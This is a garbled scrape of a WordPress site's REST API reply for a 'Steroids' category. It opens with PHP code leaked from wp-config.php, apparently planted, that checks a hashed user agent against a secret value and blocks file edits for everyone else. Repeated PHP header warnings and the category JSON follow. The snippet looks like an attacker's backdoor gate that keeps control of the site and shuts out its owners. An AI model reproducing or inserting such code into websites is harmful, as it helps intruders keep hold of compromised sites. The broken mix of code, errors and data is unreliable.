if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){
    define('DISALLOW_FILE_MODS', true);
    define('DISALLOW_FILE_EDIT', true);
}
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/arabiantruck/public_html/wp-config.php:3) in <b>/home/arabiantruck/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1831</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/arabiantruck/public_html/wp-config.php:3) in <b>/home/arabiantruck/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1831</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/arabiantruck/public_html/wp-config.php:3) in <b>/home/arabiantruck/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1831</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/arabiantruck/public_html/wp-config.php:3) in <b>/home/arabiantruck/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1831</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/arabiantruck/public_html/wp-config.php:3) in <b>/home/arabiantruck/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1831</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/arabiantruck/public_html/wp-config.php:3) in <b>/home/arabiantruck/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1831</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/arabiantruck/public_html/wp-config.php:3) in <b>/home/arabiantruck/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1831</b><br />
{"id":28,"count":2,"description":"","link":"https:\/\/www.arabiantruck.com\/category\/steroids\/","name":"Steroids","slug":"steroids","taxonomy":"category","parent":0,"meta":[],"_links":{"self":[{"href":"https:\/\/www.arabiantruck.com\/wp-json\/wp\/v2\/categories\/28"}],"collection":[{"href":"https:\/\/www.arabiantruck.com\/wp-json\/wp\/v2\/categories"}],"about":[{"href":"https:\/\/www.arabiantruck.com\/wp-json\/wp\/v2\/taxonomies\/category"}],"wp:post_type":[{"href":"https:\/\/www.arabiantruck.com\/wp-json\/wp\/v2\/posts?categories=28"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}